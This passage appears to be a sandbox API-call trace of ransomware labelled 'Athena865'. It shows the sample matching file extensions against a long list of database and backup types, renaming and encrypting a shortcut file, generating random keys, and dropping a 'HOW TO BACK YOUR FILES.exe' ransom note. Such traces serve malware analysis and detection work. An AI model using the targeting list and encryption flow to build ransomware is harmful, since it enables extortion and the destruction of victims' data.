1 [0099.479] lstrlenW (lpString="fp5") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0099.479] lstrlenW (lpString="fp7") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0099.479] lstrlenW (lpString="fpt") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0099.479] lstrlenW (lpString="frm") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0099.479] lstrlenW (lpString="gdb") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.479] lstrlenW (lpString="gdb") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.479] lstrlenW (lpString="grdb") returned 4 [0099.479] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0099.479] lstrlenW (lpString="gwi") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0099.479] lstrlenW (lpString="hdb") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0099.479] lstrlenW (lpString="his") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0099.479] lstrlenW (lpString="ib") returned 2 [0099.479] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0099.479] lstrlenW (lpString="idb") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0099.479] lstrlenW (lpString="ihx") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0099.479] lstrlenW (lpString="itdb") returned 4 [0099.480] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0099.480] lstrlenW (lpString="itw") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0099.480] lstrlenW (lpString="jet") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0099.480] lstrlenW (lpString="jtx") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0099.480] lstrlenW (lpString="kdb") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0099.480] lstrlenW (lpString="kexi") returned 4 [0099.480] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0099.480] lstrlenW (lpString="kexic") returned 5 [0099.480] lstrcmpiW (lpString1="r.lnk", lpString2="kexic") returned 1 [0099.480] lstrlenW (lpString="kexis") returned 5 [0099.480] lstrcmpiW (lpString1="r.lnk", lpString2="kexis") returned 1 [0099.480] lstrlenW (lpString="lgc") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0099.480] lstrlenW (lpString="lwx") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0099.480] lstrlenW (lpString="maf") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0099.480] lstrlenW (lpString="maq") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0099.480] lstrlenW (lpString="mar") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0099.480] lstrlenW (lpString="marshal") returned 7 [0099.480] lstrcmpiW (lpString1="ter.lnk", lpString2="marshal") returned 1 [0099.480] lstrlenW (lpString="mas") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0099.480] lstrlenW (lpString="mav") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0099.480] lstrlenW (lpString="maw") returned 3 [0099.480] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0099.481] lstrlenW (lpString="mdbhtml") returned 7 [0099.481] lstrcmpiW (lpString1="ter.lnk", lpString2="mdbhtml") returned 1 [0099.481] lstrlenW (lpString="mdn") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0099.481] lstrlenW (lpString="mdt") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0099.481] lstrlenW (lpString="mfd") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0099.481] lstrlenW (lpString="mpd") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0099.481] lstrlenW (lpString="mrg") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0099.481] lstrlenW (lpString="mud") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0099.481] lstrlenW (lpString="mwb") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0099.481] lstrlenW (lpString="myd") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0099.481] lstrlenW (lpString="ndf") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0099.481] lstrlenW (lpString="nnt") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0099.481] lstrlenW (lpString="nrmlib") returned 6 [0099.481] lstrcmpiW (lpString1="er.lnk", lpString2="nrmlib") returned -1 [0099.481] lstrlenW (lpString="ns2") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0099.481] lstrlenW (lpString="ns3") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0099.481] lstrlenW (lpString="ns4") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0099.481] lstrlenW (lpString="nsf") returned 3 [0099.481] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0099.481] lstrlenW (lpString="nv") returned 2 [0099.482] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0099.482] lstrlenW (lpString="nv2") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0099.482] lstrlenW (lpString="nwdb") returned 4 [0099.482] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0099.482] lstrlenW (lpString="nyf") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0099.482] lstrlenW (lpString="odb") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.482] lstrlenW (lpString="odb") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.482] lstrlenW (lpString="oqy") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0099.482] lstrlenW (lpString="ora") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0099.482] lstrlenW (lpString="orx") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0099.482] lstrlenW (lpString="owc") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0099.482] lstrlenW (lpString="p96") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0099.482] lstrlenW (lpString="p97") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0099.482] lstrlenW (lpString="pan") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0099.482] lstrlenW (lpString="pdb") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0099.482] lstrlenW (lpString="pdm") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0099.482] lstrlenW (lpString="pnz") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0099.482] lstrlenW (lpString="qry") returned 3 [0099.482] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0099.483] lstrlenW (lpString="qvd") returned 3 [0099.483] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0099.483] lstrlenW (lpString="rbf") returned 3 [0099.483] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0099.483] lstrlenW (lpString="rctd") returned 4 [0099.483] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0099.483] lstrlenW (lpString="rod") returned 3 [0099.483] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0099.483] lstrlenW (lpString="rodx") returned 4 [0099.483] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0099.483] lstrlenW (lpString="rpd") returned 3 [0099.483] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0099.483] lstrlenW (lpString="rsd") returned 3 [0099.483] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0099.483] lstrlenW (lpString="sas7bdat") returned 8 [0099.483] lstrcmpiW (lpString1="nter.lnk", lpString2="sas7bdat") returned -1 [0099.483] lstrlenW (lpString="sbf") returned 3 [0099.483] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0099.483] lstrlenW (lpString="scx") returned 3 [0099.483] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0099.483] lstrlenW (lpString="sdb") returned 3 [0099.483] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0099.483] lstrlenW (lpString="sdc") returned 3 [0099.483] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0099.484] lstrlenW (lpString="sdf") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0099.484] lstrlenW (lpString="sis") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0099.484] lstrlenW (lpString="spq") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0099.484] lstrlenW (lpString="te") returned 2 [0099.484] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0099.484] lstrlenW (lpString="teacher") returned 7 [0099.484] lstrcmpiW (lpString1="ter.lnk", lpString2="teacher") returned 1 [0099.484] lstrlenW (lpString="tmd") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0099.484] lstrlenW (lpString="tps") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0099.484] lstrlenW (lpString="trc") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.484] lstrlenW (lpString="trc") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.484] lstrlenW (lpString="trm") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0099.484] lstrlenW (lpString="udb") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0099.484] lstrlenW (lpString="udl") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0099.484] lstrlenW (lpString="usr") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0099.484] lstrlenW (lpString="v12") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0099.484] lstrlenW (lpString="vis") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0099.484] lstrlenW (lpString="vpd") returned 3 [0099.484] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0099.485] lstrlenW (lpString="vvv") returned 3 [0099.485] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0099.485] lstrlenW (lpString="wdb") returned 3 [0099.485] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0099.485] lstrlenW (lpString="wmdb") returned 4 [0099.485] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0099.485] lstrlenW (lpString="wrk") returned 3 [0099.485] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0099.485] lstrlenW (lpString="xdb") returned 3 [0099.485] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0099.485] lstrlenW (lpString="xld") returned 3 [0099.485] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0099.485] lstrlenW (lpString="xmlff") returned 5 [0099.485] lstrcmpiW (lpString1="r.lnk", lpString2="xmlff") returned -1 [0099.485] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\Media Center.lnk.Athena865") returned 61 [0099.485] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\Media Center.lnk" (normalized: "c:\\programdata\\start menu\\programs\\media center.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Media Center.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\media center.lnk.athena865"), dwFlags=0x1) returned 1 [0099.486] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Media Center.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\media center.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.486] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1345) returned 1 [0099.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.487] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.487] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.487] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.488] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x850, lpName=0x0) returned 0x17c [0099.489] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x850) returned 0x100000 [0099.508] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.509] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.509] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.509] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.509] CloseHandle (hObject=0x17c) returned 1 [0099.509] CloseHandle (hObject=0x154) returned 1 [0099.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.510] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2=".") returned 1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="..") returned 1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="windows") returned -1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="bootmgr") returned 1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="temp") returned -1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="pagefile.sys") returned -1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="boot") returned 1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="ids.txt") returned 1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="ntuser.dat") returned -1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="perflogs") returned -1 [0099.510] lstrcmpiW (lpString1="Microsoft Office", lpString2="MSBuild") returned -1 [0099.510] lstrlenW (lpString="Microsoft Office") returned 16 [0099.510] lstrcpyW (in: lpString1=0x241e88e, lpString2="Microsoft Office" | out: lpString1="Microsoft Office") returned="Microsoft Office" [0099.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bed8 [0099.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x53aab0 [0099.510] lstrcatW (in: lpString1="Microsoft Office", lpString2="\\" | out: lpString1="Microsoft Office\\") returned="Microsoft Office\\" [0099.510] lstrcatW (in: lpString1="Microsoft Office\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Office\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Office\\HOW TO BACK YOUR FILES.exe" [0099.510] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Microsoft Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\microsoft office\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.513] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb09e38e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".") returned 1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="..") returned 1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="windows") returned -1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="bootmgr") returned 1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="temp") returned -1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="pagefile.sys") returned -1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="boot") returned 1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="ids.txt") returned 1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="ntuser.dat") returned -1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="perflogs") returned -1 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="MSBuild") returned -1 [0099.513] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19 [0099.513] lstrcpyW (in: lpString1=0x241e88e, lpString2="Mozilla Firefox.lnk" | out: lpString1="Mozilla Firefox.lnk") returned="Mozilla Firefox.lnk" [0099.513] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19 [0099.513] lstrlenW (lpString="Athena865") returned 9 [0099.513] lstrcmpiW (lpString1="refox.lnk", lpString2="Athena865") returned 1 [0099.513] lstrlenW (lpString=".dll") returned 4 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".dll") returned 1 [0099.513] lstrlenW (lpString=".lnk") returned 4 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".lnk") returned 1 [0099.513] lstrlenW (lpString=".ini") returned 4 [0099.513] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".ini") returned 1 [0099.513] lstrlenW (lpString=".sys") returned 4 [0099.514] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".sys") returned 1 [0099.514] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19 [0099.514] lstrlenW (lpString="bak") returned 3 [0099.514] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0099.514] lstrlenW (lpString="ba_") returned 3 [0099.514] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0099.514] lstrlenW (lpString="dbb") returned 3 [0099.514] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0099.514] lstrlenW (lpString="vmdk") returned 4 [0099.514] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0099.514] lstrlenW (lpString="rar") returned 3 [0099.514] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0099.514] lstrlenW (lpString="zip") returned 3 [0099.514] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0099.514] lstrlenW (lpString="tgz") returned 3 [0099.514] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0099.514] lstrlenW (lpString="vbox") returned 4 [0099.514] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0099.514] lstrlenW (lpString="vdi") returned 3 [0099.514] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0099.514] lstrlenW (lpString="vhd") returned 3 [0099.514] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0099.514] lstrlenW (lpString="vhdx") returned 4 [0099.514] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0099.514] lstrlenW (lpString="avhd") returned 4 [0099.514] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0099.514] lstrlenW (lpString="db") returned 2 [0099.514] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0099.515] lstrlenW (lpString="db2") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0099.515] lstrlenW (lpString="db3") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0099.515] lstrlenW (lpString="dbf") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0099.515] lstrlenW (lpString="mdf") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0099.515] lstrlenW (lpString="mdb") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0099.515] lstrlenW (lpString="sql") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0099.515] lstrlenW (lpString="sqlite") returned 6 [0099.515] lstrcmpiW (lpString1="ox.lnk", lpString2="sqlite") returned -1 [0099.515] lstrlenW (lpString="sqlite3") returned 7 [0099.515] lstrcmpiW (lpString1="fox.lnk", lpString2="sqlite3") returned -1 [0099.515] lstrlenW (lpString="sqlitedb") returned 8 [0099.515] lstrcmpiW (lpString1="efox.lnk", lpString2="sqlitedb") returned -1 [0099.515] lstrlenW (lpString="xml") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0099.515] lstrlenW (lpString="$er") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0099.515] lstrlenW (lpString="4dd") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0099.515] lstrlenW (lpString="4dl") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0099.515] lstrlenW (lpString="^^^") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0099.515] lstrlenW (lpString="abs") returned 3 [0099.515] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0099.515] lstrlenW (lpString="abx") returned 3 [0099.516] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0099.516] lstrlenW (lpString="accdb") returned 5 [0099.516] lstrcmpiW (lpString1="x.lnk", lpString2="accdb") returned 1 [0099.516] lstrlenW (lpString="accdc") returned 5 [0099.516] lstrcmpiW (lpString1="x.lnk", lpString2="accdc") returned 1 [0099.516] lstrlenW (lpString="accde") returned 5 [0099.516] lstrcmpiW (lpString1="x.lnk", lpString2="accde") returned 1 [0099.516] lstrlenW (lpString="accdr") returned 5 [0099.516] lstrcmpiW (lpString1="x.lnk", lpString2="accdr") returned 1 [0099.516] lstrlenW (lpString="accdt") returned 5 [0099.516] lstrcmpiW (lpString1="x.lnk", lpString2="accdt") returned 1 [0099.516] lstrlenW (lpString="accdw") returned 5 [0099.516] lstrcmpiW (lpString1="x.lnk", lpString2="accdw") returned 1 [0099.516] lstrlenW (lpString="accft") returned 5 [0099.516] lstrcmpiW (lpString1="x.lnk", lpString2="accft") returned 1 [0099.516] lstrlenW (lpString="adb") returned 3 [0099.516] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.516] lstrlenW (lpString="adb") returned 3 [0099.516] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.516] lstrlenW (lpString="ade") returned 3 [0099.516] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0099.516] lstrlenW (lpString="adf") returned 3 [0099.516] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0099.516] lstrlenW (lpString="adn") returned 3 [0099.516] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0099.516] lstrlenW (lpString="adp") returned 3 [0099.516] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0099.516] lstrlenW (lpString="alf") returned 3 [0099.516] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0099.516] lstrlenW (lpString="ask") returned 3 [0099.516] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0099.517] lstrlenW (lpString="btr") returned 3 [0099.517] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0099.517] lstrlenW (lpString="cat") returned 3 [0099.517] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0099.517] lstrlenW (lpString="cdb") returned 3 [0099.517] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0099.517] lstrlenW (lpString="ckp") returned 3 [0099.517] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0099.517] lstrlenW (lpString="cma") returned 3 [0099.517] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0099.517] lstrlenW (lpString="cpd") returned 3 [0099.517] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0099.517] lstrlenW (lpString="dacpac") returned 6 [0099.517] lstrcmpiW (lpString1="ox.lnk", lpString2="dacpac") returned 1 [0099.517] lstrlenW (lpString="dad") returned 3 [0099.517] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0099.517] lstrlenW (lpString="dadiagrams") returned 10 [0099.517] lstrcmpiW (lpString1="irefox.lnk", lpString2="dadiagrams") returned 1 [0099.517] lstrlenW (lpString="daschema") returned 8 [0099.517] lstrcmpiW (lpString1="efox.lnk", lpString2="daschema") returned 1 [0099.517] lstrlenW (lpString="db-journal") returned 10 